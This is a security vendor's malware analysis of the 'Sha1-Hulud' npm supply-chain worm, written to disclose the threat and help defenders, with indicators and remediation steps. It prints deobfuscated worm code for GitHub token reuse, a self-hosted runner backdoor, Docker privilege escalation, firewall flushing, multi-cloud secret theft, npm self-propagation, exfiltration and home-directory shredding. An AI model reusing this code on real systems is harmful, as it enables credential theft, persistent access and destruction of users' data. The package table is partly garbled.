Table of contents

Shai-Hulud: The Second Coming

Shai-Hulud: The Second Coming - Blog Zero day Shai hulud V2

Last Updated: November 24, 2025 – 8:55 AM ET

A significantly evolved version of the Shai-Hulud malware now tracked as Sha1-Hulud has been discovered with over 400 packages affected, now featuring persistent backdoor capabilities through compromised GitHub Actions runners and enhanced multi-cloud credential harvesting. This latest iteration, demonstrates a troubling evolution in supply chain attack sophistication, introducing capabilities that allow attackers to maintain long-term access to infected developer workstations and CI/CD environments even after the initial infection is detected.

The attack has successfully compromised packages from several high-profile organizations including PostHog (@posthog/siphash), ENS Domains (@ensdomains/* packages including ensjs, ens-contracts, and react-ens-address), and Zapier (multiple @zapier/* packages and zapier-platform-* tooling). The sequential version bumps observed across Zapier packages (e.g., 18.0.2 → 18.0.3 → 18.0.4) demonstrate the malware’s automated propagation mechanism actively republishing compromised packages.

Evolution from September 2025 attack

While the September 2025 Shai-Hulud attack focused primarily on credential harvesting and self-propagation, this new variant introduces several critical capabilities that represent a fundamental shift in the threat model:

Persistent remote access: Installation of self-hosted GitHub Actions runners that provide attackers with authenticated command execution on infected systems

Enhanced token recycling: The malware now searches for, and reuses GitHub tokens stolen from previous victims, allowing it to continue operating even when primary credentials are revoked

Multi-cloud secret enumeration: Unified credential harvesting across AWS, GCP, and Azure with comprehensive secret manager scanning across 17 AWS regions

Azure DevOps exploitation: Targeted privilege escalation and network security bypass in Azure DevOps Linux environments

Destructive failsafe: Data destruction capabilities triggered when credential theft fails, potentially as an anti-forensics measure

Technical analysis

The malware maintains the core worm-like propagation mechanism from the September attack while adding several layers of persistence and evasion.

Token recycling and victim network exploitation

One of the most concerning new capabilities is the malware’s ability to leverage stolen credentials from previous victims. When the malware fails to extract a valid GitHub token from the current environment, it searches for repositories created by earlier infections to harvest their stored credentials.

async fetchToken() {
  try {
    // Search for repositories created by previous infections
    let searchResults = await this.octokit.rest.search.repos({
      q: '"Sha1-Hulud: The Second Coming."',
      sort: "updated",
      order: 'desc'
    });

    if (searchResults.status !== 200 || !searchResults.data.items) {
      return null;
    }

    // Iterate through compromised repositories
    for (let repo of searchResults.data.items) {
      let owner = repo.owner?.login;
      let name = repo.name;

      if (!owner || !name) {
        continue;
      }

      try {
        // Download contents.json from previous victim's repo
        let url = `https://raw.githubusercontent.com/${owner}/${name}/main/contents.json`;
        let response = await fetch(url, { method: "GET" });

        if (response.status === 200) {
          let rawContent = await response.text();

          // Decode the triple-base64 encoded data
          let decoded = Buffer.from(rawContent, "base64").toString("utf8").trim();
          if (!decoded.startsWith('{')) {
            decoded = Buffer.from(decoded, "base64").toString('utf8').trim();
          }

          let data = JSON.parse(decoded);

          // Extract the stored GitHub token
          let stolenToken = data.modules?.github?.token;

          if (!stolenToken || typeof stolenToken !== 'string') {
            continue;
          }

          // Validate the stolen token still works
          if ((await new this.octokit.constructor({
            auth: stolenToken
          }).request("GET /user")).status === 200) {
            this.token = stolenToken;
            return stolenToken;
          }
        }
      } catch {
        continue;
      }
    }
    return null;
  } catch {
    return null;
  }
}

Figure 1. Deobfuscated token recycling mechanism that searches GitHub for “Sha1-Hulud: The Second Coming.”

Shai-Hulud: The Second Coming - image 24

Figure 2. GitHub search showing repositories with the description “Sha1-Hulud: The Second Coming.” – each representing a compromised victim whose credentials are available for token recycling

This creates a network effect where each compromised account potentially provides access to dozens or hundreds of other compromised accounts, significantly extending the malware’s operational lifetime even as individual tokens are discovered and revoked.

Persistent backdoor via self-hosted GitHub Actions runners

The most critical new capability is the installation of self-hosted GitHub Actions runners on infected systems. This provides attackers with persistent, authenticated remote code execution that survives reboots and can be triggered at any time.

async createRepo(repoName, description = "Sha1-Hulud: The Second Coming.", isPrivate = false) {
  if (!repoName) {
    return null;
  }

  try {
    // Create the exfiltration repository
    let repo = (await this.octokit.rest.repos.createForAuthenticatedUser({
      name: repoName,
      description: description,
      private: isPrivate,
      auto_init: false,
      has_issues: false,
      has_discussions: true,
      has_projects: false,
      has_wiki: false
    })).data;

    let owner = repo.owner?.login;
    let name = repo.name;

    if (!owner || !name) {
      return null;
    }

    this.gitRepo = `${owner}/${name}`;
    await new Promise(resolve => setTimeout(resolve, 3000));

    // Check if token has workflow scope (required for runner registration)
    if (await this.checkWorkflowScope()) {
      try {
        // Generate runner registration token
        let tokenResponse = await this.octokit.request(
          "POST /repos/{owner}/{repo}/actions/runners/registration-token",
          { owner: owner, repo: name }
        );

        if (tokenResponse.status == 201) {
          let registrationToken = tokenResponse.data.token;

          // Download and install GitHub Actions runner based on platform
          if (os.platform() === 'linux') {
            await Bun.$`mkdir -p $HOME/.dev-env/`;
            await Bun.$`curl -o actions-runner-linux-x64-2.330.0.tar.gz -L https://github.com/actions/runner/releases/download/v2.330.0/actions-runner-linux-x64-2.330.0.tar.gz`
              .cwd(os.homedir + "/.dev-env").quiet();
            await Bun.$`tar xzf ./actions-runner-linux-x64-2.330.0.tar.gz`
              .cwd(os.homedir + "/.dev-env");
            await Bun.$`RUNNER_ALLOW_RUNASROOT=1 ./config.sh --url https://github.com/${owner}/${name} --unattended --token ${registrationToken} --name "SHA1HULUD"`
              .cwd(os.homedir + "/.dev-env").quiet();
            await Bun.$`rm actions-runner-linux-x64-2.330.0.tar.gz`
              .cwd(os.homedir + "/.dev-env");

            // Start runner in background
            Bun.spawn(["bash", '-c', "cd $HOME/.dev-env && nohup ./run.sh &"]).unref();
          } else if (os.platform() === "darwin") {
            await Bun.$`mkdir -p $HOME/.dev-env/`;
            await Bun.$`curl -o actions-runner-osx-arm64-2.330.0.tar.gz -L https://github.com/actions/runner/releases/download/v2.330.0/actions-runner-osx-arm64-2.330.0.tar.gz`
              .cwd(os.homedir + "/.dev-env").quiet();
            await Bun.$`tar xzf ./actions-runner-osx-arm64-2.330.0.tar.gz`
              .cwd(os.homedir + "/.dev-env");
            await Bun.$`./config.sh --url https://github.com/${owner}/${name} --unattended --token ${registrationToken} --name "SHA1HULUD"`
              .cwd(os.homedir + "/.dev-env").quiet();
            await Bun.$`rm actions-runner-osx-arm64-2.330.0.tar.gz`
              .cwd(os.homedir + '/.dev-env');

            // Start runner in background
            Bun.spawn(["bash", '-c', "cd $HOME/.dev-env && nohup ./run.sh &"]).unref();
          }

          // Create workflow file that triggers on discussion events
          await this.octokit.request("PUT /repos/{owner}/{repo}/contents/{path}", {
            owner: owner,
            repo: name,
            path: ".github/workflows/discussion.yaml",
            message: "Add Discusion",
            content: Buffer.from(`
name: Discussion Create
on:
  discussion:
jobs:
  process:
    env:
      RUNNER_TRACKING_ID: 0
    runs-on: self-hosted
    steps:
      - uses: actions/checkout@v5
      - name: Handle Discussion
        run: echo ${{ github.event.discussion.body }}
`).toString("base64"),
            branch: 'main'
          });
        }
      } catch (error) {
        console.log(error);
      }
    }

    return {
      owner: owner,
      name: name,
      fullName: `${owner}/${name}`
    };
  } catch {
    return null;
  }
}

Figure 3. Self-hosted GitHub Actions runner installation code showing automated download, configuration, and persistence via background process execution

The workflow file created by the malware listens for GitHub Discussion events. Attackers can create a discussion in the compromised repository to trigger arbitrary command execution on the infected system. The run: echo ${{ github.event.discussion.body }} line executes whatever content the attacker includes in the discussion body, providing a simple command-and-control channel that bypasses traditional network-based detection.

Azure DevOps privilege escalation and network security bypass

The malware includes specific logic to detect and exploit Azure DevOps Linux build agents, disabling network security controls and gaining elevated privileges.

// Detect Azure DevOps agent
async function detectAzureDevOpsAgent() {
  try {
    return (await Bun.$`ps -axco command | grep "/home/agent/agent"`.text()).trim() !== '';
  } catch (error) {
    return false;
  }
}

// Check for passwordless sudo or exploit Docker for privilege escalation
async function canEscalatePrivileges() {
  try {
    let { stdout, exitCode } = await Bun.$`sudo -n true`.nothrow();
    return exitCode === 0;
  } catch {
    try {
      // Use Docker to write sudoers file if passwordless sudo unavailable
      await Bun.$`docker run --rm --privileged -v /:/host ubuntu bash -c "cp /host/tmp/runner /host/etc/sudoers.d/runner"`.nothrow();
    } catch {
      return false;
    }
    return true;
  }
}

// Disable network security controls
async function disableNetworkSecurity() {
  // Stop DNS resolver
  await Bun.$`sudo systemctl stop systemd-resolved`.nothrow();
  await Bun.$`sudo cp /tmp/resolved.conf /etc/systemd/resolved.conf`.nothrow();
  await Bun.$`sudo systemctl restart systemd-resolved`.nothrow();

  // Clear iptables firewall rules
  await Bun.$`sudo iptables -t filter -F OUTPUT`.nothrow();
  await Bun.$`sudo iptables -t filter -F DOCKER-USER`.nothrow();
}

async function exploitAzureDevOps() {
  if (process.env.GITHUB_ACTIONS && process.env.RUNNER_OS === 'Linux') {
    if ((await detectAzureDevOpsAgent()) && (await canEscalatePrivileges())) {
      await disableNetworkSecurity();
    }
  }
}

Figure 4. Azure DevOps agent detection, privilege escalation via Docker escape, and network security bypass through iptables rule deletion

This exploitation sequence specifically targets Azure DevOps build agents, which often run with elevated privileges and have access to production secrets. By disabling iptables rules and modifying DNS resolution, the malware can bypass network-based security controls that might otherwise prevent or detect its communication with command-and-control infrastructure.

Enhanced multi-cloud credential harvesting

The new variant includes comprehensive secret enumeration across all major cloud providers, with particular focus on cloud-native secret management services.

AWS credential enumeration and secret extraction

class AWSSecretHarvester {
  static VALIDATION_REGION = 'us-east-1';
  static LOOP_REGIONS = [
    'us-east-1', "us-east-2", "us-west-1", "us-west-2",
    "ap-northeast-1", "ap-northeast-2", "ap-northeast-3",
    "ap-south-1", "ap-southeast-1", "ap-southeast-2",
    "ca-central-1", "eu-central-1", "eu-north-1",
    "eu-west-1", "eu-west-2", "eu-west-3", "sa-east-1"
  ];

  async validateCredentials(credentials) {
    // Validate credentials via STS GetCallerIdentity
    let identity = await new STSClient({
      region: AWSSecretHarvester.VALIDATION_REGION,
      credentials: credentials
    }).send(new GetCallerIdentityCommand({}));

    if (!identity.UserId || !identity.Account || !identity.Arn) {
      throw Error("STS returned incomplete identity");
    }

    return {
      userId: identity.UserId,
      account: identity.Account,
      arn: identity.Arn
    };
  }

  async buildCredentialProviders() {
    let providers = [
      { provider: fromEnv(), name: 'env' },
      { provider: fromSSO(), name: "sso" },
      { provider: fromTokenFile(), name: "tokenFile" },
      { provider: fromContainerMetadata(), name: 'container' },
      { provider: fromInstanceMetadata(), name: 'instance' },
      { provider: fromProcess(), name: "process" }
    ];

    try {
      let profiles = await loadSharedConfigFiles();
      for (let profile of profiles) {
        providers.push({
          provider: fromIni({ profile: profile }),
          name: `profile:${profile}`,
          profile: profile
        });
      }
    } catch {}

    return providers;
  }

  async enumerateValidCredentials() {
    let providers = await this.buildCredentialProviders();
    let validCredentials = [];
    let errors = {};

    for (let provider of providers) {
      try {
        let credentials = await provider.provider();
        let identity = await this.validateCredentials(credentials);
        validCredentials.push({
          credentials: credentials,
          providerName: provider.name,
          profile: provider.profile ?? null,
          region: AWSSecretHarvester.VALIDATION_REGION,
          callerIdentity: identity
        });
      } catch (error) {
        errors[provider.name] = error?.message ?? String(error);
      }
    }

    return {
      valid: validCredentials,
      errors: errors
    };
  }

  async runSecrets() {
    let { valid: credentials } = await this.enumerateValidCredentials();
    let secrets = [];

    try {
      for (let credential of credentials) {
        for (let region of AWSSecretHarvester.LOOP_REGIONS) {
          let secretsManager = new SecretsManagerClient(credential.credentials, region);
          secrets.concat(await secretsManager.listAndRetrieveAllSecrets());
        }
      }
    } catch (error) {
      console.log(error);
    }

    return secrets;
  }
}

Figure 5. Multi-provider AWS credential enumeration with validation via STS and systematic secret extraction across 17 regions

The AWS harvester systematically attempts every available credential source, validates discovered credentials, then scans 17 AWS regions for secrets stored in AWS Secrets Manager. This comprehensive approach ensures maximum credential discovery across complex AWS environments with multiple accounts and regions.

GCP and Azure secret harvesting

class GCPSecretHarvester {
  async getIdentity() {
    let auth = new GoogleAuth();
    try {
      let client = await auth.getClient();
      await client.getAccessToken();
      let email = await this.getUserEmail(client);
      this.projectId = await this.getProjectId(client);
      this.secretsManager = new SecretManagerServiceClient(this.projectId);
      return {
        userId: email,
        projectId: this.projectId
      };
    } catch (error) {
      throw Error("No valid Google Auth");
    }
  }

  async listAndRetrieveAllSecrets() {
    try {
      await this.getIdentity();
      return this.secretsManager.listAndRetrieveAllSecrets();
    } catch (error) {}
    return [];
  }
}

class AzureSecretHarvester {
  async listAndRetrieveAllSecrets() {
    try {
      let credential = new DefaultAzureCredential();
      await credential.getToken("https://vault.azure.net/.default");
      return await new KeyVaultClient(credential).listAndRetrieveAllSecrets();
    } catch (error) {
      return [];
    }
  }
}

Figure 6. GCP Secret Manager and Azure Key Vault credential harvesting using default cloud authentication methods

The multi-cloud approach ensures comprehensive credential harvesting regardless of the target environment’s cloud provider, making the malware effective across diverse infrastructure deployments.

Enhanced NPM propagation with Bun runtime injection

The malware’s self-propagation mechanism has been enhanced to inject the Bun runtime alongside the malicious payload, ensuring consistent execution across different Node.js versions and environments.

class NPMWormPropagator {
  baseUrl = "https://registry.npmjs.org";
  userAgent;
  token;

  constructor(npmToken) {
    this.userAgent = "npm/11.6.2 workspaces/false";
    this.token = npmToken;
  }

  async validateToken() {
    if (!this.token) {
      return null;
    }

    let response = await fetch(this.baseUrl + "/-/whoami", {
      method: "GET",
      headers: {
        'Authorization': `Bearer ${this.token}`,
        'Npm-Auth-Type': "web",
        'Npm-Command': "whoami",
        'User-Agent': this.userAgent,
        'Connection': "keep-alive",
        'Accept': "*/*",
        'Accept-Encoding': "gzip, deflate, br"
      }
    });

    if (response.status === 401) {
      throw Error("Invalid NPM");
    }

    if (!response.ok) {
      throw Error(`NPM Failed: ${response.status} ${response.statusText}`);
    }

    return (await response.json()).username ?? null;
  }

  async getPackagesByMaintainer(username, limit = 100) {
    let searchUrl = `${this.baseUrl}/-/v1/search?text=maintainer:${encodeURIComponent(username)}&size=${limit}`;

    try {
      let response = await fetch(searchUrl, {
        method: "GET",
        headers: this.getHeaders(false)
      });

      if (!response.ok) {
        throw Error(`HTTP ${response.status}: ${response.statusText}`);
      }

      return (await response.json()).objects || [];
    } catch (error) {
      return [];
    }
  }

  async bundleAssets(extractPath) {
    // Write Bun installer script
    let setupBunPath = path.join(extractPath, 'package', "setup_bun.js");
    await writeFile(setupBunPath, `#!/usr/bin/env node
const { spawn, execSync } = require('child_process');
const path = require('path');
const fs = require('fs');
const os = require('os');

function isBunOnPath() {
  try {
    const command = process.platform === 'win32' ? 'where bun' : 'which bun';
    execSync(command, { stdio: 'ignore' });
    return true;
  } catch {
    return false;
  }
}

async function downloadAndSetupBun() {
  try {
    let command;
    if (process.platform === 'win32') {
      command = 'powershell -c "irm bun.sh/install.ps1|iex"';
    } else {
      command = 'curl -fsSL https://bun.sh/install | bash';
    }

    execSync(command, {
      stdio: 'ignore',
      env: { ...process.env }
    });

    return 'bun';
  } catch  {
    process.exit(0);
  }
}

async function main() {
  let bunExecutable = isBunOnPath() ? 'bun' : await downloadAndSetupBun();

  const environmentScript = path.join(__dirname, 'bun_environment.js');
  if (fs.existsSync(environmentScript)) {
    spawn(bunExecutable, [environmentScript], { stdio: 'ignore' });
  } else {
    process.exit(0);
  }
}

main().catch(() => process.exit(0));
`);

    // Copy the obfuscated malware as bun_environment.js
    let currentScript = process.argv[1];
    if (currentScript && (await fileExists(currentScript))) {
      let scriptContent = await readFile(currentScript);
      if (scriptContent !== null) {
        let bunEnvPath = path.join(extractPath, "package", "bun_environment.js");
        await writeFile(bunEnvPath, scriptContent);
      }
    }
  }

  async updatePackage(packageInfo) {
    try {
      // Download current package tarball
      let tarballResponse = await fetch(packageInfo.tarballUrl, {
        method: "GET",
        headers: {
          'User-Agent': this.userAgent,
          'Accept': "*/*",
          'Accept-Encoding': "gzip, deflate, br"
        }
      });

      if (!tarballResponse.ok) {
        throw Error(`Failed to download tarball: ${tarballResponse.status} ${tarballResponse.statusText}`);
      }

      let tarballBuffer = Buffer.from(await tarballResponse.arrayBuffer());
      let tempDir = await createTempDir(path.join(os.tmpdir(), "npm-update-"));
      let tarballPath = path.join(tempDir, "package.tgz");
      let updatedTarballPath = path.join(tempDir, "updated.tgz");

      await Bun.write(tarballPath, tarballBuffer);

      // Extract tarball
      await extractTar({
        file: tarballPath,
        cwd: tempDir,
        gzip: true
      });

      // Modify package.json
      let packageJsonPath = path.join(tempDir, "package", 'package.json');
      let packageJsonContent = await Bun.file(packageJsonPath).text();
      let packageJson = JSON.parse(packageJsonContent);

      if (!packageJson.scripts) {
        packageJson.scripts = {};
      }

      // Add preinstall hook
      packageJson.scripts.preinstall = "node setup_bun.js";

      // Increment patch version
      if (typeof packageJson.version === "string") {
        let versionParts = packageJson.version.split('.').map(Number);
        if (versionParts.length === 3) {
          versionParts[2] = (versionParts[2] || 0) + 1;
        }
        packageJson.version = versionParts.join('.');
      }

      await Bun.write(packageJsonPath, JSON.stringify(packageJson, null, 2));

      // Bundle malicious assets
      await this.bundleAssets(tempDir);

      // Create new tarball
      await createTar({
        file: updatedTarballPath,
        cwd: tempDir,
        gzip: true
      }, ['package']);

      // Publish modified package
      await Bun.$`npm publish ${updatedTarballPath}`.env({
        ...process.env,
        'NPM_CONFIG_TOKEN': this.token
      });

      await cleanupTempDir(tempDir);
    } catch (error) {
      // Fail silently to avoid detection
    }
  }
}

Figure 7. Automated NPM package modification and republishing mechanism showing Bun runtime injection and malicious preinstall hook insertion

The propagation mechanism maintains the worm-like behavior from the September attack but adds the Bun runtime installation script, ensuring the malware can execute even in environments without Bun pre-installed. The preinstall script hooks into the npm lifecycle, executing before the package is installed and ensuring the malware runs before any package code.

Data exfiltration with triple encoding

To evade detection and content filtering, stolen data is encoded three times before being uploaded to GitHub repositories.

async saveContents(filename, content, commitMessage = "add file") {
  if (!this.gitRepo) {
    return false;
  }

  let [owner, repo] = this.gitRepo.split('/');
  if (!owner || !repo) {
    return false;
  }

  try {
    // Triple base64 encoding to evade detection
    let encoded = Buffer.from(
      Buffer.from(
        Buffer.from(content).toString("base64")
      ).toString("base64")
    ).toString('base64');

    await this.octokit.rest.repos.createOrUpdateFileContents({
      owner: owner,
      repo: repo,
      path: filename,
      message: commitMessage,
      content: encoded
    });

    return true;
  } catch {
    return false;
  }
}

Figure 8. Data exfiltration using triple base64 encoding to evade content filtering and detection systems

The exfiltration process creates five distinct JSON files in the compromised repository:

  1. contents.json: System information, GitHub credentials, and token
  2. environment.json: Complete process.env dump containing all environment variables
  3. cloud.json: AWS, GCP, and Azure secrets from respective secret management services
  4. actionsSecrets.json: GitHub Actions repository secrets extracted via API
  5. truffleSecrets.json: TruffleHog scan results from the user’s home directory

Destructive anti-forensics failsafe

When the malware fails to harvest credentials and cannot establish persistence, it implements a data destruction sequence, likely intended to hinder forensic analysis or punish detection.

if (!authenticated || !repoExists) {
  let token = await fetchToken();
  if (!token) {
    if (npmToken) {
      await harvestNPMCredentials(npmToken);
    } else {
      console.log("Error 12");

      // Execute data destruction based on platform
      if (platform === "windows") {
        Bun.spawnSync([
          "cmd.exe", '/c',
          'del /F /Q /S "%USERPROFILE%*" && ' +
          'for /d %%i in ("%USERPROFILE%*") do rd /S /Q "%%i" & ' +
          'cipher /W:%USERPROFILE%'
        ]);
      } else {
        Bun.spawnSync([
          "bash", '-c',
          'find "$HOME" -type f -writable -user "$(id -un)" -print0 | ' +
          'xargs -0 -r shred -uvz -n 1 && ' +
          'find "$HOME" -depth -type d -empty -delete'
        ]);
      }

      process.exit(0);
    }
  }
}

Figure 9. Anti-forensics data destruction code triggered when credential theft fails, using secure deletion methods on Windows and Unix systems

The Windows variant uses the cipher /W command for secure deletion, while the Unix variant uses shred -uvz to overwrite files before deletion, making data recovery difficult or impossible. This destructive capability distinguishes this variant from typical credential harvesting malware and suggests either an anti-forensics purpose or a punitive measure against detection.

Attack execution flow

The malware follows a sophisticated execution sequence designed to maximize credential discovery while establishing persistence:

1. Environment detection
   └─> Check for CI/CD environment variables
       ├─> GITHUB_ACTIONS, BUILDKITE, CIRCLE_SHA1, etc.
       └─> Execute immediately vs. background spawn

2. GitHub authentication
   └─> Search environment variables for tokens (ghp_, gho_)
       ├─> Found: Use token
       └─> Not found: Execute token recycling
           └─> Search for Shai-Hulud repos
               └─> Download and decode contents.json
                   └─> Extract and validate stolen tokens

3. Repository creation and runner installation
   └─> Create "Sha1-Hulud" repository
       └─> Check for workflow scope
           ├─> Has scope: Install self-hosted runner
           │   ├─> Download GitHub Actions runner
           │   ├─> Configure with registration token
           │   ├─> Start in background (nohup)
           │   └─> Create discussion.yaml workflow
           └─> No scope: Continue with exfiltration

4. Credential harvesting
   ├─> AWS: Enumerate all credential providers, scan 17 regions
   ├─> GCP: Use Application Default Credentials, scan Secret Manager
   ├─> Azure: Use DefaultAzureCredential, scan Key Vault
   ├─> GitHub: Check workflow scope, extract Actions secrets
   └─> NPM: Validate token, get maintainer packages

5. Secret scanning
   └─> Download TruffleHog
       └─> Scan home directory for exposed secrets

6. Data exfiltration
   └─> Triple base64 encode all collected data
       ├─> contents.json (system info + GitHub creds)
       ├─> environment.json (process.env)
       ├─> cloud.json (AWS/GCP/Azure secrets)
       ├─> actionsSecrets.json (Actions secrets)
       └─> truffleSecrets.json (TruffleHog findings)

7. NPM propagation
   └─> If NPM token valid:
       ├─> Get all packages maintained by user
       └─> For each package:
           ├─> Download tarball
           ├─> Extract and modify package.json
           ├─> Add preinstall: "node setup_bun.js"
           ├─> Increment patch version
           ├─> Bundle setup_bun.js and bun_environment.js
           └─> Publish updated package

8. Azure DevOps exploitation (if applicable)
   └─> Detect Azure DevOps agent
       ├─> Escalate privileges via Docker
       └─> Disable network security
           ├─> Stop systemd-resolved
           ├─> Flush iptables OUTPUT rules
           └─> Flush iptables DOCKER-USER rules

Impact analysis

This evolved Shai-Hulud variant poses significantly greater risks than the September attack due to two critical capabilities: persistent backdoor access and an unusually destructive failsafe mechanism.

Persistent backdoor access

The self-hosted GitHub Actions runner provides long-term persistence that survives package removal and system reboots. Attackers can execute arbitrary commands at any time by creating a GitHub Discussion in the compromised repository, bypassing traditional network-based detection since all communication uses legitimate GitHub infrastructure over HTTPS. The runner appears as a standard GitHub Actions component in ~/.dev-env/, making detection difficult during incident response.

Destructive anti-forensics failsafe – an unusual escalation

Unlike typical credential-stealing malware that operates silently to maintain access, this variant includes aggressive data destruction capabilities that trigger when credential theft fails. This represents a significant departure from standard credential exfiltration attacks.

Complete data destruction: When the malware cannot establish GitHub authentication and finds no NPM token, it executes secure deletion of the entire user home directory:

Windows: del /F /Q /S "%USERPROFILE%*" && cipher /W:%USERPROFILE%

Unix/Linux: find "$HOME" -type f -writable | xargs shred -uvz -n 1

Unrecoverable data loss: The malware doesn’t just delete files – it uses secure deletion methods (shred -uvz, cipher /W) that overwrite file contents multiple times before deletion, making forensic recovery impossible. This means permanent loss of uncommitted code, configuration files, SSH keys, browser data, and all files in the user’s home directory.

Unprecedented in supply chain attacks: Credential stealers typically prioritize stealth and persistence to maximize data collection over time. 

Indicators of compromise

GitHub indicators

Repository name patterns:
  - Contains "Shai-Hulud" or "Sha1-Hulud"
  - Description: "Sha1-Hulud: The Second Coming."

Repository contents:
  - contents.json
  - environment.json
  - cloud.json
  - actionsSecrets.json
  - truffleSecrets.json
  - .github/workflows/discussion.yaml

Self-hosted runner:
  - Runner name: "SHA1HULUD"
  - Runner appears in repository Settings > Actions > Runners

Detection and remediation

Immediate actions for potentially infected systems

1. Check for self-hosted GitHub Actions runners

# Check for runner processes
ps aux | grep -i "actions-runner\|SHA1HULUD"

# Check for runner directory
ls -la ~/.dev-env/

# If found, kill runner and remove directory
pkill -f "actions-runner"
rm -rf ~/.dev-env/

2. Search for Shai-Hulud repositories in GitHub account

# Using GitHub CLI
gh repo list --json name,description | jq '.[] | select(.description | contains("Shai-Hulud"))'

# Check for self-hosted runners
gh api repos/{owner}/{repo}/actions/runners

3. Revoke compromised credentials immediately

  • GitHub personal access tokens
  • GitHub SSH keys
  • NPM authentication tokens
  • AWS access keys
  • GCP service account keys
  • Azure service principals

4. Scan for TruffleHog binary in cache

find ~/.cache -name "trufflehog*" -o -name ".truffler-cache"

Azure DevOps specific checks

# Check for modified iptables rules
sudo iptables -L -n -v

# Check systemd-resolved status
sudo systemctl status systemd-resolved

# Review /etc/sudoers.d/ for unauthorized entries
ls -la /etc/sudoers.d/

Attribution

The malware maintains several characteristics consistent with the September 2025 Shai-Hulud attack:

  • Repository naming convention: Use of “Shai-Hulud” or “Sha1-Hulud” references to the Dune sandworm
  • Self-propagation approach: Automated npm package modification and republishing
  • TruffleHog integration: Use of legitimate security tools for credential discovery
  • Developer targeting: Focus on development environments and CI/CD pipelines

However, this variant demonstrates significant capability evolution compared to the September attack:

  • Persistent backdoor deployment: New capability not present in earlier variants
  • Token recycling: Sophisticated approach to extending operational lifetime
  • Azure DevOps exploitation: Specific targeting of Microsoft’s CI/CD platform
  • Destructive failsafe: Anti-forensics or punitive measures on detection
  • Enhanced cloud support: Unified multi-cloud credential harvesting

These enhancements suggest either continued development by the original threat actor or adoption and improvement of the attack methodology by additional groups. The level of sophistication in the self-hosted runner deployment and the comprehensive cloud provider support indicate mature development resources and deep understanding of modern DevOps practices.

Conclusion

This evolved Shai-Hulud variant represents a significant escalation in npm supply chain attack capabilities. The combination of persistent backdoor access via self-hosted GitHub Actions runners, comprehensive multi-cloud credential harvesting, and automated package propagation creates a threat that can maintain long-term access to compromised environments while spreading rapidly through the package ecosystem.

We will continue tracking this campaign and updating our analysis as new information becomes available.

Affected Packages

Package NameAffected Versions
@zapier/zapier-sdk0.15.5, 0.15.6, 0.15.7
zapier-platform-core18.0.2, 18.0.3, 18.0.4
zapier-platform-cli18.0.2, 18.0.3, 18.0.4
zapier-platform-schema18.0.2, 18.0.3, 18.0.4
@zapier/mcp-integration3.0.1, 3.0.2, 3.0.3
@zapier/secret-scrubber1.1.3, 1.1.4, 1.1.5
@zapier/ai-actions-react0.1.12, 0.1.13, 0.1.14
@zapier/stubtree0.1.2, 0.1.3, 0.1.4
@zapier/babel-preset-zapier6.4.1, 6.4.3
zapier-scripts7.8.3, 7.8.4
zapier-platform-legacy-scripting-runner4.0.2, 4.0.4
zapier-async-storage1.0.1, 1.0.3
@zapier/eslint-plugin-zapier11.0.3
@zapier/ai-actions0.1.18
@zapier/spectral-api-ruleset1.9.1
@zapier/browserslist-config-zapier1.0.3, 1.0.5
@ensdomains/ens-validation0.1.1
@ensdomains/content-hash3.0.1
ethereum-ens0.8.1
@ensdomains/react-ens-address0.0.32
@ensdomains/ens-contracts1.6.1
@ensdomains/ensjs4.0.3
@ensdomains/ens-archived-contracts0.0.3
@ensdomains/dnssecoraclejs0.2.9
@ensdomains/address-encoder0.1.5
@ensdomains/mock2.1.52
@ensdomains/op-resolver-contracts0.0.2
@ensdomains/ccip-read-dns-gateway0.1.1
@ensdomains/subdomain-registrar0.2.4
@ensdomains/ens-avatar1.0.4
@ensdomains/blacklist1.0.1
@ensdomains/hackathon-registrar1.0.5
@ensdomains/name-wrapper1.0.1
@ensdomains/ensjs-react0.0.5
@ensdomains/server-analytics0.0.2
@ensdomains/thorin0.6.51
@ensdomains/test-utils1.3.1
@ensdomains/renewal0.0.13
@ensdomains/dnsprovejs0.5.3
@ensdomains/durin0.1.2
@ensdomains/web3modal1.10.2
@ensdomains/durin-middleware0.0.2
@ensdomains/eth-ens-namehash2.0.16
@ensdomains/dnssec-oracle-anchors0.0.2
@ensdomains/offchain-resolver-contracts0.2.2
@ensdomains/curvearithmetics1.0.1
@ensdomains/ui3.4.6
@ensdomains/cypress-metamask1.2.1
@ensdomains/buffer0.1.2
@ensdomains/ccip-read-cf-worker0.0.4
@ensdomains/ccip-read-router0.0.7
@ensdomains/ccip-read-worker-viem0.0.4
@ensdomains/ens-test-env1.0.2
@ensdomains/hardhat-chai-matchers-viem0.1.15
@ensdomains/hardhat-toolbox-viem-extended0.0.6
@ensdomains/renewal-widget0.1.10
@ensdomains/reverse-records1.0.1
@ensdomains/solsha10.0.4
@ensdomains/unicode-confusables0.1.1
@ensdomains/unruggable-gateways0.0.3
@ensdomains/vite-plugin-i18next-loader4.0.4
@posthog/siphash
@posthog/wizard
@posthog/web-dev-server
@posthog/twitter-followers-plugin
@posthog/rrweb-snapshot
@posthog/rrweb-replay
@posthog/rrweb-record
@posthog/rrweb-player
@posthog/rrweb
@posthog/rrdom
@posthog/plugin-server
@posthog/piscina
@posthog/nuxt
@posthog/hedgehog-mode
@posthog/agent
@posthog/ai
@posthog/automatic-cohorts-plugin
@posthog/bitbucket-release-tracker
@posthog/cli
@posthog/clickhouse
@posthog/core
@posthog/currency-normalization-plugin
@posthog/customerio-plugin
@posthog/databricks-plugin
@posthog/drop-events-on-property-plugin
@posthog/event-sequence-timer-plugin
@posthog/filter-out-plugin
@posthog/first-time-event-tracker
@posthog/geoip-plugin
@posthog/github-release-tracking-plugin
@posthog/gitub-star-sync-plugin
@posthog/heartbeat-plugin
@posthog/icons
@posthog/ingestion-alert-plugin
@posthog/intercom-plugin
@posthog/kinesis-plugin
@posthog/laudspeaker-plugin
@posthog/lemon-ui
@posthog/maxmind-plugin
@posthog/migrator3000-plugin
@posthog/netdata-event-processing
@posthog/nextjs
@posthog/nextjs-config
@posthog/pagerduty-plugin
@posthog/plugin-contrib
@posthog/plugin-unduplicates
@posthog/postgres-plugin
@posthog/react-rrweb-player
@posthog/sendgrid-plugin
@posthog/snowflake-export-plugin
@posthog/taxonomy-plugin
@posthog/twilio-plugin
@posthog/variance-plugin0.0.8
@posthog/zendesk-plugin
@posthog/rrweb-utils
posthog-docusaurus
posthog-node
posthog-js
posthog-plugin-hello-world
posthog-react-native
posthog-react-native-session-replay1.1.2.2.2.2.2
@postman/pm-bin-windows-x641.24.3, 1.24.5
@postman/postman-mcp-server2.4.12
@postman/postman-collection-fork4.3.3, 4.3.5
@postman/pm-bin-macos-arm641.24.3, 1.24.5
